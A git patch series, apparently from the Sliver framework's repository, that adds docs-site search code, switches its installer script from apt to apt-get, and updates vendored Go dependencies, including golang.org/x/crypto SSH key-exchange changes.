z5akp|N7?;+UHs`81Q3;1;9iNkVfbjLy17#=JIqKKmEUNDm*MTOm}w3>1x5aH(<|#0 zyvnnw!+Le3gJMgxr?c};PG=d!gKPOE*)$xpb8lzMq_zIst=ZP7&|HJPYA5wyLxIPs z`i7;m_P2wL82Bmkk+)x;{*`sbGly7QcTB$M!pVGr9hE(%fy<<;pH@{i{v^Dc%eSSB z;UqE}H0EgH{BOhycZVB2)OrIs8?6J^bZY?mo2_cwC9aFw;`X5S^BN9y(|IRnYA=J#sm^N|y&U7aOEfZ2V4aszZ;A-&a>h~IKbQi;N;G}+yh-tYq3!~zeO*bSd3tSqZ< z9i!*)nCpmRr(9#VdRby%0=XoX?)8k{i={)2DX-UOt8V{!9)it{JwY8hc5TdH6~9-U zTq4%_i_zg@hk5Flffp7**sgXJ(>SQ-%Z;}iwz?x&ZdWvDt$cz`)W?6j5;Iuh(BDJ8 zkGx+!;IkW{-J>t60zD8BBYI{>X3n2MV@LGSHb?XaL=q&_f=fSM*AN5EQD>d_%r9jY zt&!J0x}-a1+io{y>SaeFqSvvmJ=M!ZB)bKB0>&(p2+R;%2D@>fvC=Z=`Kp(KOZurV z`U0C&{BqA8p=#$AVWh;)n1LKEdIjbpcb#|Ged1?Fgd12A*?ZI{CGYwVhbp)1(#=5n zw8Ra&X^msJ9>)K=G|DY8e&)>2klaOk(eoPObZ#b}Zkqdh0#98NX*nb}K*ER#0|3k8 z>W7E7I%uuZDT#wh$%y6!P7)LJvk?o%Lyg*Uz7OVAqJc?NPcMmdZTeC-lui1|e9Sv9 z=UW=K(GG$(#*v3x=CFLULy_?sKy7Ze@+&NW_GRoqdp{M+iM#l66 zCPu5hCRn+Ht(Q7d6|I-OLgx+fn0OIBFSXn+QMfwIu3PA*0Mn;SoX%P2N^JbDn@Q-u zh4EzT`Gnn8aYeeXMkyGc{t&^wf^jqMiC@#J)SgLGV`8Od{*o_(=OLJJ;FekT%bN!+ zdT)!8p@88>;bfsqC%DZV#Nr=?eFC|uNknV1p#1}X_?>E@YZ*tcKrMioML?~p zwX?7m?Gc!*WXe_EmYiRq>EY-WrT1rN!8Lr(lgSI^6M)dbJzYCYEk9720DB`41;o<8 zD4>wr@o&eD=tw;0|5|IOI>R8}jGrSs?TO~S z`RYo+j@R%jhq+b)+0Pf)mO0<&th5*OXlD?6F_uaCbU_w|tdj<*lfc3vpdAemA?P0p zwRab@iuQBku{z0AfZhH&L+vRa32^bKRRnqUFmFE$Xh;0+lEt>FSd@>qaH=_1?&p?Y zSiNH2TJO5$y;5iV9nT|5L=!OvGhXCz%wo6Na&@{eK$%p*A^kOz9&u#M^VA^82>Is6 z^v^M2CB@Gb#`*8>`)kp^@Ob$(&fRSN{hdcm(S(`a!X_;$v-s^;HNFHd8^4S}1wI|k zz2TTn`P@LhxSQLaQU1D=OM}@A#%wZO&4fm==KLfPJijzCF0OaG+@^bMzp-;ebQDua z_IZ20)5H4UBY95$`}H7*DQHh;=hq35>|wP10aED4fVg$f)xG;v-{(Op*jC6-2msC2 z`&F-lw`_9IayGe?is?=3cYyzSylTlfsE}rQh869TbB<9-?`ZaA4Hc10Gw8cWoI^WL zE$DmmqRs*c=M9sJuJ|;_{e5+MdH4hiJ4gk%9LSb%=^bWSR9t7hi;}#6(qi3`Sohm? z)psl!?ln^d>b-kbJOUBmTvwjC7tmqM7_LoMiJ^I-veD{_0)zJ5ykhN$Wj8 zM!%t-5p<<#M^$^bGdeOxK|NsJI?bNp`xK~$R5V~d(YjmC?@w>Dkg|{mSXw2zF?KPXP-~G;`U^jymmPa2c3--}&(;?XjPd{YOjf?RoTa7WRr4+8gE~42$dQf3P8JUb?^jg~J62Ftdth z)!;j5w!znxdQ7=}rL8x$;wmk2%TsG*&^9jI6=75_) zh}-eEs5HUP2;iTw7X2j*8UlfGU3e`31o_>yk0DvnhtaE&{JXkMmgLpgC0#_Q=xo;d zJ1@}K=KRFZgVs{s`@ke>Q$eXaz(U@e95|A_i;vIBNX`>@n8pMyNr+iF-!`Q{xnVw- zwbi}abx{kIbY0Liur!F27fI zLau$Ii0iRvi4GE2giQgz7Gb~pLs+ZPvfRb7%3@D|e*4I#OxJ!v{nj_q=xuk>U^W?y zL-_5HOa|dEU}rhAoZ3D~^k!(aGKgwsY{~t*DIdkyi`=W+h*hW}aBU3k{; zK^ams!FR9HbL};QX<}X~D|No=kr*x}w|qDX@+3!ky=<=Q<#H8zi#P7F>iotQZ+;__ zd^OwX@QQw($@hA;M=;|rw>_gCP6FdC*HPB}@?)yEBILd^IKHHdEyn}D5hspH+HigI z8ehr&V#8CugagYcBe!oa$P3kb5yjlALYvEUG8=FGB1Nzj3-69^C@oeoz zF{_=`QSmYPkS0uRPPhBgjRG(S>di3}9;B9=PsZ zz*4>b0Zf{^@bUfVPj%jX4%zGE!B-3#W55v@wW?yGv-mVjkD_QG#{*X%_hB2ix}_gz z@X=OzX}&&9_pazTpIOb26d?MqdEZAhWr0aqUGeh)P((IzHKPCkCF&IV0dw1i{Q5`8 z=AuVH(ZoXS;z((BraeM<0c(sJ%}Q7t;>j9h0Zn?s?3$$MF74TrUhkD<{;UhueRWG$ z09Lfj6JSLj8RmT-Y;yl`?DxaQ_1?h=#oj}4;K=SB=Lw+8xT&F9g{^GY@t&LiPkUGX z4|Vs&Q4>vHN?CfOcoMQC*$P=&5K6X5w&=0%WJZrPBPx}MsAQQ8F^Mu7VGv_`>?(%F zPMc-OBw`rM_YUYN=45P&OH_Q zK2%<#@l$ik|opWUtK_K8n$XA%H{H1Cpy)~_#_HJGR{#O?Uc zM~|S$Hx>b*#bbppAVVshtyv-+)tYtzpx%w*XhN2a9y?K%f?8kPb9E#vq1mCPL$@9w z7fro5Gu|chQlsi#VoOI&+^fe{3CW((9d?N=Ga~{5O$=lke_UZ;qar9nQ0T)=DkiT5 z<$?4PEOE~R3O?Rlc%pU~u9ck_EEI^-_BQO=Jlm@HqWTqh_HUmeWQgqK$~3X64CD4k z3n(Sn6lA1UTSr!zMH4VO#I}l!jQuuokx~3K&G)y=8Ug$*(zHjHAA*v~Lzpxu%qm=v}Ml%XBKMC*#p zBd$wBxopnVi5H%DSZ-I2v}>;lzV})hH?v=?~Z6eD>#K0U)H4T&p21% zSF<%vsSIads%D!Jn}R)N{6Mp(Reu@)q#{3^_5`MMH&R|JzxfVlLba}? z-@G{os)Q0zFPrw<-{aLIzpc=@B3e+J_{O%7HwEuim#nH8-dYc!X!p|~GiN6S?|hif zJei?z)4kMS-rfSL3DY%Ak2XJk2zC(GaWtgv=P+}Yo_)h=}FFflRVd3 z9P>R$oi;(A`_sgVE6IG5eg$$hMWWN1`FrGKg)C83ueqB(rjYL@1UP!DrCXB3n%bKS z?i$MN?}MvibAw8BTkJem(ce-xCn^xAQ7I8@d!vL;gIMgIJMMirQi<+|ZzT$qCT{C!r^?BUsRxX@GQCD{P=?AzGK1F!YAzFPTY7#bA}LqR zg3e2?-;Ajqesh8kZsBViGJEELz!f4m`^;OZ5aoasD#V8QM5cP2R!6!T_0m##=|a3( z004c-%wY(jw%%z~2Jm=fPaBhtB!No4&H$Y*r+#Q|&zs~d6FaFmgm*n^@cP1-8-vn{ zu{PIRUy^^8+Ut$Rvrkgm8i>zcQu+7A#Ad^4c&=+!)<4C#@mF|23tlf8#M-kQnT!n5 zU5=NhRpMyX2u*>hS1~Yn!fg1<3X_OB(cp&$@Bb^ z$^g`H-?CuABR7ki0?W!jn*z6Q8^Vxgy^V@{Mr$RUL8LEzzgPMyTZadnwCnRJpUL6D z%0lmx$*H<;^YTyOst+NYueuW&M>I)2sFHcV>0If(TT5WVROLMVu__~VVN6`F z(`fC*HSe~~B*o4159H5k(7?flghU~~Hdm3pYvQprTD9uMW*3A84^;Mt!;i{ z-EnF%LqhOiP&_g$D*`|0=6K1Jrt8#M`(*r%WETYq+i-CB0zX^4qKnZDGn1m%Kz#}W zuPD3U3}rgJjQ4SX2MYBA0C~Rlo=wc69_$HkID7teZ5q)6!aIq~;&F$3IQsBmz+{j% z;+i?)gj27{ybgL3j9NP~osKPQD;x>3!;yCp5tzxm_Kk}!O9E6jm$cWp2w-DdBJgOQ z;Es($$3czqdzI9D?j4%8!4m?znk)k{3*l?vm*@tc2~(&%Q?D4@=NS)VEjcB8K!*a` z+?Jc;`aJCZq7}Ln0_J0f#48Kg7I^N2Ru4#u0;n4!BHjG4sdyk~`|Yd~HF9~*O-P5R zSPf$g9wYXl&Hk>pM5yCnOfn+DplpYWKB0?zDp}B){Lq2k{?_w6#-yX`Q-PVj8;!g^ z7*e**s+HHaAe2wpRrqiF0lZa4tlmB~MYMlI*fb(aV@m#-u0xtXx93Hs(4y~Mpt#KP zG*(U9pVN~Kw4UkzTO#`?y0_(z8JvTZ*ogzBGHusH8-=2;O}L0GxrpBBV4Rz*2Et`< z@B=8wh*@NJR9}He9rfbeW&Z9cEpLhBI2v29#FKWxrB!sXmH4s#@!{il0ofyRBjJXe zMXhrt+ z18+40KOUFnHnRy$SpNyk)UKxmq_xiH-l0<8I=h47(?|93i{Mx0Kr#bVDcZ#gsLCx$!rSm@hR(q>lwn zyw(#*1c1yf=~}RxQY=&ROWz=n=g$HCB$x*FJx|OYgpQ`xo-({ZtQ}I7XOV%T zl2Otz*(I^%aMn;L1A1~(`|*Vi;PBOI1X1#1g=gM}_jG&J;Ue;u6m4;?e0kIEh1_|3 zGJaa{HpZg07w5YMDnE%`jXXl&TN>R({-M$slP5(cpX7`)&82ebW5t8>m!EO`Z;Y13 z#ulOk2{`JnuCfesT8dGyT(aCOWIG?ob-Y9q7Fz!8r=LRL5U!68Wc~?Q$-_4qyvP?{ z3L7|#qH6Hv?_8WFqkTckR*D6h^>dmrT!0F}KQ*uD{*a?@sTZ|n=a?Hdc=E+d`R}yo z>;ws-T;r-r-;e)_X2u&K0o{IdZXLmaJRf4F_;~PI@}-qBU>#-fuVaWdKqBS#%Z3l| zK_@yvYF|@Oy~%Q%nMKiA*#`!VasJWxjX_=yA^}KxA#HEx0SJT!R-kD!s z>RB7H_5olEH`GV%r7bd__Shod8}LVFm*ha%7b;?$h~M0awb9o<$^v9_8syXyq3;`f z_Hq;flu_qHV_Y0KFa8tWpJhJ$SXTCQ{++}@Mm+IEhVdKr1*?>2&3OU=9j}A)heVlM zl6CZxqf9Ryt9XC#)n1*C1`-*X$XiO4K{z7lTG4Dvx?y6;sQGGjstrMGT0@8(wYyy7 zTfzN^9qkn8+}woj#Ki6`O+G}gGvy1wU7u?l6*r8g=2Y@vJv$VpPQ1F+&;WM4D7kNf!#mw^>*#jM@Xe;iw>_FFw41}W8dp7AEF`8A7d z9CfR?K1z~UjLsiP;>&NAAPY*%u$Rkd)d~Vvj!K9lcm%`_=kWZ_wX(dTWy#_`s~?2? z%k96anYIF07wX_Amt*|jPlM%7wC`|j=zkHjHEi|2K(T$?zoV}I zS8W!FYAb}apx)#8W#$hp1)6>}lA;Z(H`CC(Xia9OsO@}J7IFo<6B@kt9M=mKn`o)Z0Y%dzL adO;-k>IUmX4lJGxy!3U94rd><5B)F5W`4K; literal 0 HcmV?d00001 diff --git a/docs/sliver-docs/public/install b/docs/sliver-docs/public/install index 5fc7891609..2f8df8176d 100644 --- a/docs/sliver-docs/public/install +++ b/docs/sliver-docs/public/install @@ -10,12 +10,12 @@ fi # Determine OS type # Debian-based OS (Debian, Ubuntu, etc) -if command -v apt &> /dev/null; then +if command -v apt-get &> /dev/null; then echo "Installing dependencies using apt..." - DEBIAN_FRONTEND=noninteractive apt install -yqq \ + DEBIAN_FRONTEND=noninteractive apt-get install -yqq \ gpg curl build-essential git \ mingw-w64 binutils-mingw-w64 g++-mingw-w64 - INSTALLER=(apt install -yqq) + INSTALLER=(apt-get install -yqq) elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL) echo "Installing dependencies using yum..." yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git diff --git a/docs/sliver-docs/util/docs.ts b/docs/sliver-docs/util/docs.ts new file mode 100644 index 0000000000..5f3661210d --- /dev/null +++ b/docs/sliver-docs/util/docs.ts @@ -0,0 +1,8 @@ +export type Doc = { + name: string; + content: string; +}; + +export type Docs = { + docs: Doc[]; +}; \ No newline at end of file diff --git a/docs/sliver-docs/util/search-context.ts b/docs/sliver-docs/util/search-context.ts new file mode 100644 index 0000000000..5f20e87965 --- /dev/null +++ b/docs/sliver-docs/util/search-context.ts @@ -0,0 +1,40 @@ +import lunr from "lunr"; +import React from "react"; +import { Doc, Docs } from "./docs"; + + +export class SearchCtx { + + private _docs: Docs = { docs: [] }; + private _docsIndex: lunr.Index; + + constructor() { + this._docsIndex = lunr(function () { + this.ref("name"); + this.field("content"); + }); + } + + public searchDocs = (query: string): Doc[] => { + const results = this._docsIndex.search(query); + const docs = results.map((result) => { + return this._docs.docs.find((doc) => doc.name === result.ref); + }); + return docs.filter((doc) => doc !== undefined) as Doc[]; + } + + public addDocs = (docs: Docs) => { + this._docs = docs; + this._docsIndex = lunr(function () { + this.ref("name"); + this.field("content"); + docs.docs.forEach((doc) => { + this.add(doc); + }); + }); + } + +} + +export const SearchContext = React.createContext(new SearchCtx()); +export const useSearchContext = () => React.useContext(SearchContext); From 4dbb9c75b33a580a2a592da507ea139af850fa38 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Mon, 25 Dec 2023 15:53:25 +0100 Subject: [PATCH 123/124] Make vendor dir identical to master, then update console deps --- go.mod | 8 +-- go.sum | 16 +++--- .../reeflective/console/completer.go | 5 ++ .../carapace/internal/shell/xonsh/style.go | 16 +++--- .../rsteube/carapace/pkg/style/keyword.go | 3 + .../golang.org/x/crypto/argon2/blamka_amd64.s | 12 ++-- .../x/crypto/blake2b/blake2bAVX2_amd64.go | 2 +- .../x/crypto/blake2b/blake2bAVX2_amd64.s | 2 +- .../x/crypto/blake2b/blake2b_amd64.go | 24 -------- .../golang.org/x/crypto/blake2b/register.go | 2 - vendor/golang.org/x/crypto/ssh/channel.go | 28 +++++++--- vendor/golang.org/x/crypto/ssh/client.go | 2 +- vendor/golang.org/x/crypto/ssh/handshake.go | 56 +++++++++++++++++-- vendor/golang.org/x/crypto/ssh/server.go | 2 + vendor/golang.org/x/crypto/ssh/transport.go | 32 +++++++++-- vendor/modules.txt | 8 +-- 16 files changed, 142 insertions(+), 76 deletions(-) delete mode 100644 vendor/golang.org/x/crypto/blake2b/blake2b_amd64.go diff --git a/go.mod b/go.mod index 477498f42d..9a81f65602 100644 --- a/go.mod +++ b/go.mod @@ -33,10 +33,10 @@ require ( github.com/moloch--/asciicast v0.1.0 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 github.com/ncruces/go-sqlite3 v0.8.4 - github.com/reeflective/console v0.1.14 + github.com/reeflective/console v0.1.15 github.com/reeflective/readline v1.0.13 github.com/reeflective/team v0.1.2 - github.com/rsteube/carapace v0.47.4 + github.com/rsteube/carapace v0.47.5 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.8.0 github.com/spf13/pflag v1.0.5 @@ -45,8 +45,8 @@ require ( github.com/things-go/go-socks5 v0.0.3 github.com/xlab/treeprint v1.2.0 github.com/yiya1989/sshkrb5 v0.0.1 - golang.org/x/crypto v0.16.0 - golang.org/x/exp v0.0.0-20231214170342-aacd6d4b4611 + golang.org/x/crypto v0.17.0 + golang.org/x/exp v0.0.0-20231219180239-dc181d75b848 golang.org/x/net v0.19.0 golang.org/x/sys v0.15.0 golang.org/x/term v0.15.0 diff --git a/go.sum b/go.sum index c00102e1a6..3a76884adc 100644 --- a/go.sum +++ b/go.sum @@ -352,8 +352,8 @@ github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZN github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= -github.com/reeflective/console v0.1.14 h1:RAZhiaT3FtMdi+rGVTlF5Lo/IgIJEG/WtGUqxphLD/Y= -github.com/reeflective/console v0.1.14/go.mod h1:Gjb24RDyCG+Q75vsAknUcK3oTqnsfFt/S107p/DW7j0= +github.com/reeflective/console v0.1.15 h1:r4M1a19s882znSO5Zkj7memsLSDTLT/0fZwdNzhIldE= +github.com/reeflective/console v0.1.15/go.mod h1:U2i+gzsZ5mT9LZHLzoeuOJ7BtcyXy7l+psRZSu4zmQU= github.com/reeflective/readline v1.0.13 h1:TeJmYw9B7VRPZWfNExr9QHxL1m0iSicyqBSQIRn39Ss= github.com/reeflective/readline v1.0.13/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A= github.com/reeflective/team v0.1.2 h1:g3Cy5fbM0JzuxSNCvzY9DDytYxFqFSCLlWumKmzB35M= @@ -365,8 +365,8 @@ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis= github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= -github.com/rsteube/carapace v0.47.4 h1:LwnkFsvRxc2WhZjM63QS7sCi3DlM9XGuATQM5rehgps= -github.com/rsteube/carapace v0.47.4/go.mod h1:4ZC5bulItu9t9sZ5yPcHgPREd8rPf274Q732n+wfl/o= +github.com/rsteube/carapace v0.47.5 h1:4S4F4+kSgbxDbA1RWMVUO6JNB62DUB/twblwG/jRgj0= +github.com/rsteube/carapace v0.47.5/go.mod h1:4ZC5bulItu9t9sZ5yPcHgPREd8rPf274Q732n+wfl/o= github.com/rsteube/carapace-shlex v0.1.1 h1:fRQEBBKyYKm4TXUabm4tzH904iFWSmXJl3UZhMfQNYU= github.com/rsteube/carapace-shlex v0.1.1/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= @@ -455,11 +455,11 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.16.0 h1:mMMrFzRSCF0GvB7Ne27XVtVAaXLrPmgPC7/v0tkwHaY= -golang.org/x/crypto v0.16.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= +golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= +golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20231214170342-aacd6d4b4611 h1:qCEDpW1G+vcj3Y7Fy52pEM1AWm3abj8WimGYejI3SC4= -golang.org/x/exp v0.0.0-20231214170342-aacd6d4b4611/go.mod h1:iRJReGqOEeBhDZGkGbynYwcHlctCvnjTYIamk7uXpHI= +golang.org/x/exp v0.0.0-20231219180239-dc181d75b848 h1:+iq7lrkxmFNBM7xx+Rae2W6uyPfhPeDWD+n+JgppptE= +golang.org/x/exp v0.0.0-20231219180239-dc181d75b848/go.mod h1:iRJReGqOEeBhDZGkGbynYwcHlctCvnjTYIamk7uXpHI= golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9 h1:j3D9DvWRpUfIyFfDPws7LoIZ2MAI1OJHdQXtTnYtN+k= golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= diff --git a/vendor/github.com/reeflective/console/completer.go b/vendor/github.com/reeflective/console/completer.go index 4babc24fd6..5d1df57851 100644 --- a/vendor/github.com/reeflective/console/completer.go +++ b/vendor/github.com/reeflective/console/completer.go @@ -10,6 +10,7 @@ import ( "unicode" "unicode/utf8" + "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" completer "github.com/rsteube/carapace/pkg/x" "github.com/rsteube/carapace/pkg/xdg" @@ -20,6 +21,10 @@ import ( func (c *Console) complete(line []rune, pos int) readline.Completions { menu := c.activeMenu() + // Ensure the carapace library is called so that the function + // completer.Complete() variable is correctly initialized before use. + carapace.Gen(menu.Command) + // Split the line as shell words, only using // what the right buffer (up to the cursor) args, prefixComp, prefixLine := splitArgs(line, pos) diff --git a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go index 6658b41420..000f853e24 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go @@ -63,14 +63,14 @@ func convertColor(color string) string { "cyan": "ansicyan", "white": "ansigray", - "bright-ansiblack": "ansibrightblack", - "bright-ansired": "ansibrightred", - "bright-ansigreen": "ansibrightgreen", - "bright-ansiyellow": "ansibrightyellow", - "bright-ansiblue": "ansibrightblue", - "bright-ansimagenta": "ansibrightmagenta", - "bright-ansicyan": "ansibrightcyan", - "bright-ansiwhite": "ansiwhite", + "bright-black": "ansibrightblack", + "bright-red": "ansibrightred", + "bright-green": "ansibrightgreen", + "bright-yellow": "ansibrightyellow", + "bright-blue": "ansibrightblue", + "bright-magenta": "ansibrightmagenta", + "bright-cyan": "ansibrightcyan", + "bright-white": "ansiwhite", "color0": "#000000", "color1": "#800000", diff --git a/vendor/github.com/rsteube/carapace/pkg/style/keyword.go b/vendor/github.com/rsteube/carapace/pkg/style/keyword.go index a0884b4ba9..ad9a8300a5 100644 --- a/vendor/github.com/rsteube/carapace/pkg/style/keyword.go +++ b/vendor/github.com/rsteube/carapace/pkg/style/keyword.go @@ -3,6 +3,9 @@ package style import "strings" var keywords = map[string]*string{ + "1": &Carapace.KeywordPositive, + "0": &Carapace.KeywordNegative, + "y": &Carapace.KeywordPositive, "n": &Carapace.KeywordNegative, diff --git a/vendor/golang.org/x/crypto/argon2/blamka_amd64.s b/vendor/golang.org/x/crypto/argon2/blamka_amd64.s index f3b653a12f..6713accac0 100644 --- a/vendor/golang.org/x/crypto/argon2/blamka_amd64.s +++ b/vendor/golang.org/x/crypto/argon2/blamka_amd64.s @@ -199,8 +199,8 @@ TEXT ·mixBlocksSSE2(SB), 4, $0-32 MOVQ out+0(FP), DX MOVQ a+8(FP), AX MOVQ b+16(FP), BX - MOVQ a+24(FP), CX - MOVQ $128, BP + MOVQ c+24(FP), CX + MOVQ $128, DI loop: MOVOU 0(AX), X0 @@ -213,7 +213,7 @@ loop: ADDQ $16, BX ADDQ $16, CX ADDQ $16, DX - SUBQ $2, BP + SUBQ $2, DI JA loop RET @@ -222,8 +222,8 @@ TEXT ·xorBlocksSSE2(SB), 4, $0-32 MOVQ out+0(FP), DX MOVQ a+8(FP), AX MOVQ b+16(FP), BX - MOVQ a+24(FP), CX - MOVQ $128, BP + MOVQ c+24(FP), CX + MOVQ $128, DI loop: MOVOU 0(AX), X0 @@ -238,6 +238,6 @@ loop: ADDQ $16, BX ADDQ $16, CX ADDQ $16, DX - SUBQ $2, BP + SUBQ $2, DI JA loop RET diff --git a/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.go b/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.go index 4f506f8791..199c21d27a 100644 --- a/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.go +++ b/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.go @@ -2,7 +2,7 @@ // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. -//go:build go1.7 && amd64 && gc && !purego +//go:build amd64 && gc && !purego package blake2b diff --git a/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.s b/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.s index 353bb7cac5..9ae8206c20 100644 --- a/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.s +++ b/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.s @@ -2,7 +2,7 @@ // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. -//go:build go1.7 && amd64 && gc && !purego +//go:build amd64 && gc && !purego #include "textflag.h" diff --git a/vendor/golang.org/x/crypto/blake2b/blake2b_amd64.go b/vendor/golang.org/x/crypto/blake2b/blake2b_amd64.go deleted file mode 100644 index 1d0770abba..0000000000 --- a/vendor/golang.org/x/crypto/blake2b/blake2b_amd64.go +++ /dev/null @@ -1,24 +0,0 @@ -// Copyright 2016 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build !go1.7 && amd64 && gc && !purego - -package blake2b - -import "golang.org/x/sys/cpu" - -func init() { - useSSE4 = cpu.X86.HasSSE41 -} - -//go:noescape -func hashBlocksSSE4(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte) - -func hashBlocks(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte) { - if useSSE4 { - hashBlocksSSE4(h, c, flag, blocks) - } else { - hashBlocksGeneric(h, c, flag, blocks) - } -} diff --git a/vendor/golang.org/x/crypto/blake2b/register.go b/vendor/golang.org/x/crypto/blake2b/register.go index d9fcac3a4d..54e446e1d2 100644 --- a/vendor/golang.org/x/crypto/blake2b/register.go +++ b/vendor/golang.org/x/crypto/blake2b/register.go @@ -2,8 +2,6 @@ // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. -//go:build go1.9 - package blake2b import ( diff --git a/vendor/golang.org/x/crypto/ssh/channel.go b/vendor/golang.org/x/crypto/ssh/channel.go index c0834c00df..cc0bb7ab64 100644 --- a/vendor/golang.org/x/crypto/ssh/channel.go +++ b/vendor/golang.org/x/crypto/ssh/channel.go @@ -187,9 +187,11 @@ type channel struct { pending *buffer extPending *buffer - // windowMu protects myWindow, the flow-control window. - windowMu sync.Mutex - myWindow uint32 + // windowMu protects myWindow, the flow-control window, and myConsumed, + // the number of bytes consumed since we last increased myWindow + windowMu sync.Mutex + myWindow uint32 + myConsumed uint32 // writeMu serializes calls to mux.conn.writePacket() and // protects sentClose and packetPool. This mutex must be @@ -332,14 +334,24 @@ func (ch *channel) handleData(packet []byte) error { return nil } -func (c *channel) adjustWindow(n uint32) error { +func (c *channel) adjustWindow(adj uint32) error { c.windowMu.Lock() - // Since myWindow is managed on our side, and can never exceed - // the initial window setting, we don't worry about overflow. - c.myWindow += uint32(n) + // Since myConsumed and myWindow are managed on our side, and can never + // exceed the initial window setting, we don't worry about overflow. + c.myConsumed += adj + var sendAdj uint32 + if (channelWindowSize-c.myWindow > 3*c.maxIncomingPayload) || + (c.myWindow < channelWindowSize/2) { + sendAdj = c.myConsumed + c.myConsumed = 0 + c.myWindow += sendAdj + } c.windowMu.Unlock() + if sendAdj == 0 { + return nil + } return c.sendMessage(windowAdjustMsg{ - AdditionalBytes: uint32(n), + AdditionalBytes: sendAdj, }) } diff --git a/vendor/golang.org/x/crypto/ssh/client.go b/vendor/golang.org/x/crypto/ssh/client.go index bdc356cbdf..fd8c49749e 100644 --- a/vendor/golang.org/x/crypto/ssh/client.go +++ b/vendor/golang.org/x/crypto/ssh/client.go @@ -82,7 +82,7 @@ func NewClientConn(c net.Conn, addr string, config *ClientConfig) (Conn, <-chan if err := conn.clientHandshake(addr, &fullConf); err != nil { c.Close() - return nil, nil, nil, fmt.Errorf("ssh: handshake failed: %v", err) + return nil, nil, nil, fmt.Errorf("ssh: handshake failed: %w", err) } conn.mux = newMux(conn.transport) return conn, conn.mux.incomingChannels, conn.mux.incomingRequests, nil diff --git a/vendor/golang.org/x/crypto/ssh/handshake.go b/vendor/golang.org/x/crypto/ssh/handshake.go index 49bbba7692..56cdc7c21c 100644 --- a/vendor/golang.org/x/crypto/ssh/handshake.go +++ b/vendor/golang.org/x/crypto/ssh/handshake.go @@ -35,6 +35,16 @@ type keyingTransport interface { // direction will be effected if a msgNewKeys message is sent // or received. prepareKeyChange(*algorithms, *kexResult) error + + // setStrictMode sets the strict KEX mode, notably triggering + // sequence number resets on sending or receiving msgNewKeys. + // If the sequence number is already > 1 when setStrictMode + // is called, an error is returned. + setStrictMode() error + + // setInitialKEXDone indicates to the transport that the initial key exchange + // was completed + setInitialKEXDone() } // handshakeTransport implements rekeying on top of a keyingTransport @@ -100,6 